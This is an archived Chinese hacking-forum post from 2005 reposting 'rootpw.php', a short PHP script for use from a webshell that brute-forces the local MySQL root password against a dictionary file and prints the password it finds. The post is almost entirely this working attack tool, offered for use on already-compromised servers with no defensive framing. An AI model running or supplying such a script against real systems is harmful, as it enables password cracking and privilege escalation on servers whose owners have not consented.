邪恶八进制信息安全团队技术讨论组's Archiver

exploit 2005-10-1 08:59

[转载]rootpw.php

文章作者:superhei

webshell下暴力破解root的密码
password.dat为字典文件

<?
    set_time_limit(0);
    $passwd=file("password.dat");
    $strings=count($passwd);
    for($i=0; $i<$strings; $i++){
    $pass=$passwd[$i];
    connect($pass);
    }
    echo "<br>扫描结束<br>";

    function connect($pass)
    {
    $conn=@mysql_connect("localhost","root",$pass);
    if($conn){echo "<br>得到root密码:$pass<br>";exit();
    }else{echo "|";}
    }
    ?>

页: [1]
© 1999-2008 EvilOctal Security Team